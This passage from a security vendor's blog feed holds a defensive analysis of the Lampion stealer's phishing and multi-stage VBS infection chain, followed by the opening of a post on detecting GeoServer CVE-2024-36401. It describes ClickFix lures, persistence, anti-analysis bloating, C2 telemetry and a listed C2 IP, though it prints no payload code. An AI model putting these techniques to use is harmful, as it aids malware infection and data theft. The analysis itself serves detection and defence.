		&lt;/tr&gt;
	&lt;/thead&gt;
	&lt;tbody&gt;
		&lt;tr&gt;
			&lt;td&gt;Comprovativo para verificação.&lt;/td&gt;
			&lt;td&gt;Proof for verification.&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td&gt;Envio de Comprovativo.&lt;/td&gt;
			&lt;td&gt;Proof of dispatch.&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td&gt;Envio o comprovativo de transferência.&lt;/td&gt;
			&lt;td&gt;Sending the transfer receipt.&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td&gt;Envio recibo eletrônico e os documentos.&lt;/td&gt;
			&lt;td&gt;Sending electronic receipt and documents.&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td&gt;Remeto comprovativo de transferência.&lt;/td&gt;
			&lt;td&gt;Submitting proof of transfer.&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td&gt;Remeto o comprovativo de pagamento.&lt;/td&gt;
			&lt;td&gt;Submitting the proof of payment.&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td&gt;Remeto o seu recibo eletrônico.&lt;/td&gt;
			&lt;td&gt;Submitting your electronic receipt.&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td&gt;Segue o comprovativo.&lt;/td&gt;
			&lt;td&gt;Proof follows.&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td&gt;Segue o comprovativo de pagamento.&lt;/td&gt;
			&lt;td&gt;Payment receipt follows.&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td&gt;Segue o comprovativo de transferência.&lt;/td&gt;
			&lt;td&gt;Transfer receipt follows.&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td&gt;Seguem o comprovativo de pagamento e os documentos.&lt;/td&gt;
			&lt;td&gt;Payment receipt and documents follow.&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td&gt;Seguem os documentos e o comprovativo de pagamento.&lt;/td&gt;
			&lt;td&gt;Documents and payment receipt follow.&lt;/td&gt;
		&lt;/tr&gt;
	&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;p&gt;The email subjects were prepended with a timestamp and document number, an example of a complete email subject follows:&lt;/p&gt;

&lt;pre style="background:#f2f2f2; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code style="color:green;"&gt;

Seguem os documentos e o comprovativo de pagamento.0X/0X/2025 10:XX:XX - documento N.º XXXXX
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Below we can see an example of the contents of the emails, which is identical to what was reported by Unit 42:&lt;/p&gt;

&lt;table&gt;
	&lt;thead&gt;
		&lt;tr&gt;
			&lt;th&gt;Portuguese&lt;/th&gt;
			&lt;th&gt;English&lt;/th&gt;
		&lt;/tr&gt;
	&lt;/thead&gt;
	&lt;tbody&gt;
		&lt;tr&gt;
			&lt;td&gt;
			&lt;p&gt;Boa Tarde, junto envio em anexo o comprovativo de pagamento e o documento N.º XXXXX&lt;/p&gt;

			&lt;p&gt;Por favor, não responda a este e-mail.&lt;/p&gt;

			&lt;p&gt;Este endereço de e-mail é utilizado apenas para envio automático de mensagens.&lt;/p&gt;

			&lt;p&gt;Aviso de confidencialidade:&lt;/p&gt;

			&lt;p&gt;Esta mensagem pode conter informações confidenciais ou de uso restrito.&lt;/p&gt;

			&lt;p&gt;Se não for o destinatário desta comunicação, por favor notifique imediatamente o remetente e proceda à destruição do conteúdo, não estando autorizado a divulgar, copiar ou utilizar as informações de forma alguma.&lt;/p&gt;

			&lt;p&gt;O remetente não assume qualquer responsabilidade pela segurança da transmissão de dados.&lt;/p&gt;

			&lt;p&gt;&amp;nbsp;&lt;/p&gt;
			&lt;/td&gt;
			&lt;td&gt;
			&lt;p&gt;Good afternoon, attached you will find the proof of payment and document No. XXXXX&lt;/p&gt;

			&lt;p&gt;Please do not reply to this email.&lt;/p&gt;

			&lt;p&gt;This email address is used only for automatic sending of messages.&lt;/p&gt;

			&lt;p&gt;Confidentiality warning:&lt;/p&gt;

			&lt;p&gt;This message may contain confidential or restricted-use information.&lt;/p&gt;

			&lt;p&gt;If you are not the intended recipient of this communication, please notify the sender immediately and destroy the content. You are not authorized to disclose, copy, or use the information in any way.&lt;/p&gt;

			&lt;p&gt;The sender does not assume any responsibility for the security of data transmission./p&amp;gt;&lt;/p&gt;
			&lt;/td&gt;
		&lt;/tr&gt;
	&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;p&gt;During our research we observed compromised accounts sending phishing emails, which we confirmed by the presence of the source emails in dumps of compromised accounts. We also observed some emails belonging to corporate accounts.&lt;/p&gt;

&lt;h3&gt;Email attachments&lt;/h3&gt;

&lt;p&gt;We observed the use of email attachments since at least September 2024 but believe that this might’ve been used before, which represents a change in the infection chain as described in previous work. The ZIP attachment contains an HTML that shows a template identical to what has been &lt;a href="https://seguranca-informatica.pt/new-release-of-lampion-trojan-spreads-in-portugal-with-some-improvements-on-the-vbs-downloader/"&gt;previously documented&lt;/a&gt;, which then redirects to another ZIP file that contains the initial VBS. A visual representation of this part of the infection chain is shown below.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/22/Diagram%20for%20email%20attachment%20HTML%20and%20ZIP.png" width="850" height="469" alt="Diagram for email attachment HTML and ZIP" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 3. Diagram for email, attachment, HTML and ZIP.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;In late September 2024, the threat actors (TAs) started experimenting with using their own domains to host the second ZIP file instead of relying on third-party services like AWS S3 or WeTransfer. We believe this change was motivated to convince the victims that the URL hosting the second ZIP was legitimate, since the used domains included Portuguese words that related to receipts (e.g. indebt-faturas[.]com).&lt;/p&gt;

&lt;h3&gt;ClickFix&lt;/h3&gt;

&lt;p&gt;In December 2024 the threat actors discarded the second ZIP to use another technique named ClickFix. This new method was initially described by &lt;a href="https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn"&gt;Proofpoint&lt;/a&gt; in June 2024 and involves using social engineering to convince the victim into pasting malicious commands into the Windows “Run” dialog box. For this technique to work the victim must open the malicious HTML, which displays a message telling the victim that to be able to access the document they must follow some steps. These steps usually include pasting some content into the Windows “Run” dialog box, which is the initial stage of the infection.&lt;/p&gt;

&lt;p&gt;The threat actors behind Lampion are using this method to fetch and run a VBS file, as also reported by &lt;a href="https://unit42.paloaltonetworks.com/lampion-malware-clickfix-lures/"&gt;Unit 42&lt;/a&gt;. With this change their infection chain is now an email with a ZIP attachment, which contains an HTML that redirects to the ClickFix lure, as shown below in Fig. 4:&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/22/Diagram%20with%20the%20new%20ClickFix%20lure.png" width="850" height="550" alt="Diagram with the new ClickFix lure" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 4. Diagram with the new ClickFix lure.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;This stage has remained mostly unchanged since it was last reported by other researchers, we can only note that the Powershell window is being spawned minimized instead of hidden, and the command was shortened by using aliases. The domain hosting the ClickFix lure is also controlled by the TAs and allows them to blacklist IPs, which makes it harder for researchers to track this threat.&lt;/p&gt;

&lt;h3&gt;First stage VBS&lt;/h3&gt;

&lt;p&gt;If the victim’s IP is not blacklisted, the host contacted in the previous stage will redirect to a bucket that hosts the first stage. This stage has suffered some changes since it was last reported by other researchers, as it now makes this first stage persistent by creating a copy of it in the Windows Startup folder, as shown below in Fig. 5.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/22/Snippet%20from%20first%20stage%20VBS%20with%20new%20persistence%20mechanism.png" width="850" height="441" alt="Snippet from first stage VBS with new persistence mechanism" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 5. Snippet from first stage VBS with new persistence mechanism.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;This stage adds complexity to the infection chain, potentially to hinder analysis and detection, but its main purpose is simply to fetch the next stage VBS. This stage logic is as follows:&lt;/p&gt;

&lt;ol&gt;
	&lt;li&gt;Checks if the script exists in the Startup folder, and if not creates a scheduled task that runs in 15 seconds that copies the script into the Startup folder.&lt;/li&gt;
	&lt;li&gt;Writes a VBS script into `%TEMP%` where the name is a random number. The written script will include the next stage URL, a file name and a folder name passed by the first stage.&lt;/li&gt;
	&lt;li&gt;Schedules a task to run in 10 seconds that runs the next stage.&lt;/li&gt;
	&lt;li&gt;Sleeps waiting for the next stage to generate the folder passed in (2).&lt;/li&gt;
	&lt;li&gt;Schedules a task to run in 10 seconds that runs the third stage (file dropped by second stage).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The file still contains garbage variables and obfuscated strings, which make the file between 3 and 5MB in size, which after deobfuscation becomes around 35KB.&lt;/p&gt;

&lt;h3&gt;Second stage VBS&lt;/h3&gt;

&lt;p&gt;This second stage is entirely generated by the first stage, and does not contain any changes from what has been reported in the past. Its logic is the following:&lt;/p&gt;

&lt;ol&gt;
	&lt;li&gt;Do a `HEAD` request to the URL provided by the first stage, and only continue if the response status is 200.&lt;/li&gt;
	&lt;li&gt;Download the third stage file in chunks to the file name provided by the first stage.&lt;/li&gt;
	&lt;li&gt;Create a folder with the name provided by the first stage, which will trigger the first stage to execute the third stage.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;Third stage VBS&lt;/h3&gt;

&lt;p&gt;This third and final VBS is (similarly to the first stage) hosted in a bucket, which can only be reached by being redirected from another host that is hardcoded in the first stage. Although the main purpose of this stage is to drop the actual payload, it also includes some communication logic to update the payload and to send basic telemetry about the victim’s machine.&lt;/p&gt;

&lt;p&gt;In this stage the threat actors also include junk variables and obfuscated strings, making the file over 70MB in size, which after deobfuscated is around 30KB. The implemented logic is described below and shown in Fig. 6:&lt;/p&gt;

&lt;ol&gt;
	&lt;li&gt;Remove any other VBS files in `%TEMP%`&lt;/li&gt;
	&lt;li&gt;Check for the presence of a file named after a unique ID in `%TEMP%`:
	&lt;ol type="a"&gt;
		&lt;li&gt;If the file exists and its contents are a base64 encoded filepath that also exists, stop execution.&lt;/li&gt;
		&lt;li&gt;If the file exists but doesn’t contain a filepath that exists, make a POST request to the hardcoded C2:
		&lt;ol type="i"&gt;
			&lt;li&gt;If the response is `wait`, sleep for 15 minutes and continue to (2.b.).&lt;/li&gt;
			&lt;li&gt;Else update the C2 and DLL export name.&lt;/li&gt;
		&lt;/ol&gt;
		&lt;/li&gt;
	&lt;/ol&gt;
	&lt;/li&gt;
	&lt;li&gt;Check for other instances of this script running, and if they exist, stop execution.&lt;/li&gt;
	&lt;li&gt;Remove all files in the Windows `Startup` folder.&lt;/li&gt;
	&lt;li&gt;Set-up persistence by creating a CMD file in the `Startup` folder that spawns this VBS - this operation is made by scheduling tasks that 1) Create the CMD in `%appdata` (15 second delay) and 2) move the CMD into the Startup folder (20 second delay).&lt;/li&gt;
	&lt;li&gt;Send system info to the C2 via a GET request&lt;/li&gt;
	&lt;li&gt;Download the Lampion stealer to `%appdata%\HHmmSS\YYYYMMDDHHmmSS.dll`&lt;/li&gt;
	&lt;li&gt;Set-up stealer persistence by creating a CMD file in the `Startup` folder that calls `rundll32` with the DLL and the correct export name. Task scheduling is used in the same way as in (5).&lt;/li&gt;
	&lt;li&gt;Create a scheduled task that reboots the system after 15 minutes.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/22/Flowchart%20for%20the%20third%20stage%20VBS.png" width="850" height="550" alt="Flowchart for the third stage VBS" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 6. Flowchart for the third stage VBS.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;Based on the described logic, we can conclude that this stage is the dropper for the Lampion stealer; it’s used to download and update the stealer, and also to send telemetry about the infected system. The architecture of the dropper makes it suitable to drop other payloads, but we haven’t found any evidence of that occurring.&lt;/p&gt;

&lt;p&gt;It’s also worth noting that this stage will remove evidence of previous stages, which are stored in `%TEMP%`, and that the final payload only executes after a restart, hindering DFIR actions.&lt;/p&gt;

&lt;p&gt;The C2s that are used to fetch the payload and send telemetry are, similarly to before, hardcoded in the script and served from multiple hosts. The DLL itself is hosted in a bucket and is only accessible by being redirected from the C2, if the victim’s IP is not blacklisted.&lt;/p&gt;

&lt;p&gt;Regarding the telemetry information sent to the C2, as mentioned in step (6), we can see in the top image of Fig. 7 it’s a base64 encoded string with a machine ID, OS information, Antivirus information, username and computer name. The machine ID is built from the computer name, username, and hardware serial numbers, as shown in the bottom image of Fig.7.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/22/Functions%20that%20generate%20machine%20ID%20and%20generate%20payload%20%28comments%20are%20from%20TA%29.png" width="850" height="900" alt="Functions that generate machine ID and generate payload (comments are from TA)" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 7. Functions that generate machine ID and generate payload (comments are from TA).&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;h3&gt;DLL&lt;/h3&gt;

&lt;p&gt;This file is the main Lampion stealer component, and has been previously reported by other researchers as having multiple components, specifically a DLL and a ZIP. We observed that this is no longer the case, as the stealer now is a single DLL with sizes around 700MB. Using files with large sizes is a common technique known as bloating, whose purpose is to prevent analysis by some tools (specially online services) that have a limit in file size submissions. We’ve also noticed that previously undocumented features of the stealer, which we’ll detail next.&lt;/p&gt;

&lt;p&gt;Statically looking at the file, it’s a PE32 executable (DLL) with around 700MB in size, compiled using Embarcadero Delphi Professional. The DLL is packed and contains 13 sections. As shown in the Fig. 8 below, the binary also includes 2 encrypted ZIP files in the resources section, which make up most of the size of the binary. The existence of a sole binary file with encrypted ZIPs shows a difference from what has been reported previously by Layer8 and Segurança Informática, where there were 2 files being fetched from a cloud storage bucket. Our observations are inline with what was reported by Unit 42 in May 2025, and we believe this change from multiple files to a single DLL occurred at the end of 2024.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/22/Output%20of%20Detect%20it%20Easy%20%28DiE%29%20for%20DLL.png" width="850" height="651" alt="Output of Detect it Easy (DiE) for DLL" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 8. Output of Detect it Easy (DiE) for DLL.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;The usage of VMProtect to obfuscate the sample is not new, and falls inline with known indicators for this threat actor. VMProtect’s capabilities make analysis of samples harder, given its capabilities to mutate and virtualize code, protect sections, and detect debugging and virtualization. Even with these protections it is still possible to quickly get some information about the file execution.&lt;/p&gt;

&lt;p&gt;We’ve observed the DLL contacting the same C2 IP that has been previously reported (`83.242.96[.]159`), and based on our intel it has been in use since 2024. We did not find any significant changes in the communication protocol from what has been previously reported. The sample checks-in with the C2 and sends basic information about the infection, and can also send a more detailed debug dump that lists hardware information, running programs and installed programs.&lt;/p&gt;

&lt;p&gt;During our research we’ve observed the sample dropping a VBS file into the `Startup` folder that hasn’t been reported yet. This file has around 23MB (contains junk code) but its purpose is simple. As can be seen in Figure 9 below, the script runs an infinite loop (with 1 second delay) where it checks if Edge, Firefox, Opera, Chrome, or Brave are running, and tries to terminate them.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/22/Script%20dropped%20by%20DLL%20to%20terminate%20browsers.png" width="850" height="1050" alt="Script dropped by DLL to terminate browsers" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 9. Script dropped by DLL to terminate browsers.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;The effort put in by the threat actors on developing this infection chain demonstrates their concern on keeping their operations stealthy, as shown by the number of stages and server-side validations that either block or allow the infection to continue. Before moving to the infrastructure that supports this malware, we’ll briefly look at the detections for the stages.&lt;/p&gt;

&lt;p&gt;Looking at the VirusTotal detections, the ZIP file that comes as an &lt;a href="https://www.virustotal.com/gui/file/dd63a16ef15e4ca0999b864f66b152d385cce97957bec4886ffd8d2a88ed1e70/detection"&gt;attachment&lt;/a&gt; to the email and the &lt;a href="https://www.virustotal.com/gui/file/486935a47fbbff02ae9796a73029c60430515bd1aba17f1e54144279a2134bf6/detection"&gt;HTML&lt;/a&gt; inside it do not have any detections as of the writing of this post. The &lt;a href="https://www.virustotal.com/gui/file/cfeb7aaa9f74ad63a49bab58ea86720ea26ccf68d5e3bc19b5dbaa1532627625/detection"&gt;first stage VBS&lt;/a&gt; (second stage is inside the first as well) shows 8 detections and the last stage VBS shows 25 detections. The DLL is not available in VirusTotal given its size being over 650MB (VT limit).&lt;/p&gt;

&lt;h2&gt;Malicious infrastructure&lt;/h2&gt;

&lt;p&gt;In this section we’ll look into more specific details of the threat actor’s malicious infrastructure, focusing on the recent infrastructure. Specifically, we’ll look at the services used by the threat actor’s, how each stage has their own infrastructure, and how each stage connects to each other. The following Fig. 10 exemplifies how the TAs have their infrastructure connected:&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/23/lamp_infra.png" width="850" height="593" alt="Diagram of the observed infrastructure" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 10. Diagram of the observed infrastructure (&lt;a href="https://github.com/bitsight-research/threat_research/blob/main/lampion/lamp_infra.png"&gt;larger version&lt;/a&gt;).&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;We can logically separate their infrastructure into three parts, delimited by their purpose and also used services. The first component (light blue) of their infrastructure relates to the initial ClickFix payload and we’ve observed five different web hosting services being used. The second component (light gray) of their infrastructure relates to the first, second, and third stages of the previously described VBS, and uses multiple VPS hosts and cloud storage buckets from the same cloud provider. The third and last component (blue) relates to the actual stealer malware and is the main (and only) Command and Control (C2) infrastructure.&lt;/p&gt;

&lt;p&gt;It’s worth remembering that, as mentioned in the Infection Chain section, all components of their infrastructure contain IP blacklisting capabilities, which not only make analysis harder, by breaking the infection chain, but also because the hosts responsible for blacklisting are also used as redirection points to cloud storage buckets, which gives the TAs a fine control on where to redirect the contacting IPs.&lt;/p&gt;

&lt;p&gt;Another interesting note about their infrastructure is the immense amount of samples that exist in each stage. We’ve observed hundreds of unique samples for each stage, although the hardcoded C2s are limited to a small set of IPs. Given this high variability of samples, one could hypothesize the use of automations by the threat actors.&lt;/p&gt;

&lt;p&gt;Based on the observed evidence relating to the malicious infrastructure, we can assume some technical expertise from the threat actors, which show usage of different cloud providers at different points of the infrastructure. We also observed that the lifespan of their infrastructure varied significantly, with some infrastructure like the main C2 being the same for over a year, while other infrastructure like the one used to drop the VBS changing more frequently. The more ephemeral use of the infrastructure could relate to how the campaigns are distributed, the detections of their infrastructure by security products, or to limits in the usage of the cloud services.&lt;/p&gt;

&lt;h2&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;In this blog post we went over the latest infection chain used by the threat actors behind Lampion to distribute their stealer, focusing on the changes made to the infection chain and providing previously undocumented indicators. We detailed the use of email attachments, ClickFix lures, and the multi-stage VBS infection chain, which now includes more persistence mechanisms. The analysis also shed light on the updated Lampion Stealer, now a single, large DLL, and the distributed and dynamic infrastructure supporting these operations. The observed tactics highlight the threat actors' dedication to stealth and evasion, making detection and analysis challenging for defenders.&lt;/p&gt;

&lt;h2&gt;IoCs&lt;/h2&gt;

&lt;p style="white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;&lt;a href="https://github.com/bitsight-research/threat_research/tree/main/lampion"&gt;https://github.com/bitsight-research/threat_research/tree/main/lampion&lt;/a&gt;&lt;br&gt;
&lt;a href="https://www.virustotal.com/gui/collection/7f6d47cad068676a29ab0e4265a421d74e0ca38725e1e8c8d6be38504eb3ec31"&gt;https://www.virustotal.com/gui/collection/7f6d47cad068676a29ab0e4265a421d74e0ca38725e1e8c8d6be38504eb3ec31&lt;/a&gt;&lt;/p&gt;

              &lt;/div&gt;
      
    &lt;/div&gt;
  &lt;/div&gt;

      &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

</description>
  <pubDate>Tue, 28 Oct 2025 12:10:00 +0000</pubDate>
    <dc:creator>Eric Cisternelli</dc:creator>
    <guid isPermaLink="false">17976 at https://www.bitsight.com</guid>
    </item>
<item>
  <title>GeoServer CVE-2024-36401: Tailoring a Public PoC to Enable High-Confidence Detection</title>
  <link>https://www.bitsight.com/blog/geoserver-cve-2024-36401-tailoring-public-poc-enable-high-confidence-detection</link>
  <description>&lt;span property="schema:name" class="field field--name-title field--type-string field--label-hidden"&gt;GeoServer CVE-2024-36401: Tailoring a Public PoC to Enable High-Confidence Detection&lt;/span&gt;
&lt;span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"&gt;&lt;span lang about="https://www.bitsight.com/user/16" typeof="schema:Person" property="schema:name" datatype&gt;Eric Cisternelli&lt;/span&gt;&lt;/span&gt;
&lt;span property="schema:dateCreated" content="2025-10-09T11:55:00+00:00" class="field field--name-created field--type-created field--label-hidden"&gt;&lt;time datetime="2025-10-09T07:55:00-04:00" title="Thursday, October 9, 2025 - 07:55" class="datetime"&gt;Thu, 10/09/2025 - 07:55&lt;/time&gt;
&lt;/span&gt;

    &lt;div class="layout layout--onecol"&gt;
    &lt;div class="layout__region layout__region--content"&gt;
        &lt;div class="block block-layout-builder block-inline-blocktext"&gt;
    
    
          


  

&lt;div class="block-content block-content--type-text block-content--38291 block-content--view-mode-full container text-wysiwyg"&gt;

  
  

          &lt;div class="text-wysiwyg__title"&gt;
      

    &lt;/div&gt;
  
      &lt;div class="text-wysiwyg__body"&gt;
      
            &lt;div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"&gt;
                          &lt;h2&gt;Introduction&lt;/h2&gt;

&lt;p&gt;At Bitsight, one of the responsibilities of the Vulnerability Research team is to develop fingerprinting methods to not only identify exposed services, but also vulnerabilities in those services. When it comes to detecting vulnerabilities, there are increased challenges depending on the complexity of both the vulnerability and the vulnerable service. Some vulnerabilities are easily identified by metadata provided by the service, while others have dependencies that we must identify to detect them correctly.&lt;/p&gt;

&lt;p&gt;An example of a more nuanced vulnerability that presented challenges in identification is &lt;a href="https://www.bitsight.com/groma-explorer/cve-2024-36401"&gt;CVE-2024-36401&lt;/a&gt;, which affects &lt;a href="https://www.bitsight.com/groma-explorer/geosolutionsgroup/geoserver"&gt;GeoServer&lt;/a&gt; services, an open-source software for geospatial data sharing and processing, with a Remote Code Execution (RCE) vulnerability. While this may seem like an obscure service, it is moderately widespread, particularly within government and other geospatial-reliant sectors - such as transportation or industry, making the detection of this vulnerability especially critical.&lt;/p&gt;

&lt;p&gt;This vulnerability was made public back in 2024, and we started supporting it in our product’s Vulnerability Detection Catalog shortly after it was added to the CISA Known Exploited Vulnerabilities (KEV) list. However, this year-old vulnerability has gained some traction again recently, as a &lt;a href="https://www.securityweek.com/geoserver-flaw-exploited-in-us-federal-agency-hack/"&gt;new report has surfaced detailing how it was exploited by threat actors to compromise a federal civilian executive branch (FCEB) agency, deploying malware along the way&lt;/a&gt;. Alongside the recently published report, we have also detected recent exploitation attempts of this vulnerability.&lt;/p&gt;

&lt;p&gt;Due to its complexity, directly porting public Proof-of-Concepts (PoCs) for large-scale detection is infeasible, as the exploitation of the vulnerability depends on some prerequisites that are customized by the application administrator during setup and normal usage.&lt;/p&gt;

&lt;p&gt;In this blog post, we describe how we tailored publicly available PoCs for CVE-2024-36401 into a non-intrusive, high-confidence detection method suitable for internet-wide scanning, and we will also describe our observations in exploitation attempts of this vulnerability.&lt;/p&gt;

&lt;h2&gt;Problem statement&lt;/h2&gt;

&lt;p&gt;CVE-2024-36401 exploits an issue in evaluating property name expressions within GeoServer, enabling unauthenticated attackers to execute arbitrary code. While detection based on GeoServer’s version seemed promising at first, it presented several limitations:&lt;/p&gt;

&lt;ol&gt;
	&lt;li&gt;&lt;strong&gt;Downstream Patching and Configuration&lt;/strong&gt;: Instances could apply patches or remove the vulnerable component without upgrading GeoServer.&lt;/li&gt;
	&lt;li&gt;&lt;strong&gt;Version Inconsistencies&lt;/strong&gt;: Not all GeoServer instances publicly exposed their version information.&lt;/li&gt;
	&lt;li&gt;&lt;strong&gt;Configuration Dependencies&lt;/strong&gt;: The vulnerability required specific configurations to be exploitable, particularly the presence of a user-defined &lt;code style="color:green;"&gt;typeName&lt;/code&gt; parameter in the setup.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These challenges required a more robust method for identifying vulnerable instances without intrusive exploitation. We turned to existing research and public PoCs to develop a tailored solution.&lt;/p&gt;

&lt;h2&gt;Vulnerability Analysis&lt;/h2&gt;

&lt;h3&gt;Test Environment&lt;/h3&gt;

&lt;p&gt;To replicate the conditions necessary for exploiting the vulnerability, we set up two Docker containers:&lt;/p&gt;

&lt;pre style="background:#f2f2f2; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;color:green;"&gt;
docker run -p 8085:8080 kartoza/geoserver:2.25.0  # Vulnerable version
docker run -p 8086:8080 kartoza/geoserver:2.25.2  # Patched version

&lt;/pre&gt;

&lt;p&gt;Following the configuration guidance from Keysight’s blog post, we ensured the typeName parameter was defined in both instances, as this is a prerequisite for exploitation.&lt;/p&gt;

&lt;h3&gt;Root cause&lt;/h3&gt;

&lt;p&gt;When we dive a bit deeper into the vulnerability, we can understand that it stems from how GeoServer processes user-supplied input via XPath, a language designed for querying XML documents. GeoServer utilizes the &lt;code style="color:green;"&gt;commons-jxpath&lt;/code&gt; library to handle these XPath expressions.&lt;/p&gt;

&lt;p&gt;In vulnerable GeoServer instances, the dynamic evaluation of these XPath expressions, which should be strictly confined to complex feature types (like Application Schema data stores), is also executed for simple feature types &lt;strong&gt;that can be user-supplied&lt;/strong&gt;. This creates a significant security risk, as it opens the possibility for arbitrary code execution when processing maliciously crafted input.&lt;/p&gt;

&lt;center&gt;
&lt;article class="align-center media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/07/Fix%20for%20CVE-2024-36401.png" width="850" height="728" alt="Fix for CVE-2024-36401" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;


&lt;p&gt;Figure 1 - Fix for CVE-2024-36401 implemented in &lt;a href="https://github.com/geotools/geotools/pull/4797/"&gt;[GEOT-7587] Improve handling of XPath expressions&lt;/a&gt;&lt;/p&gt;
&lt;/center&gt;

&lt;p&gt;In the fix, the developers created a &lt;code style="color:green;"&gt;newSafeContext&lt;/code&gt; method that encapsulates this evaluation so it does not allow for code execution.&lt;/p&gt;

&lt;h3&gt;GeoServer “FeatureTypes”&lt;/h3&gt;

&lt;p&gt;GeoServer is a software that handles geospatial data, and it abstracts the concept of Feature Types, &lt;em&gt;“which define the schema for features in a geospatial dataset, specifying the properties that each feature can have - analogous to columns in a database table. This schema is critical in managing geospatial data.”&lt;/em&gt;&lt;/p&gt;
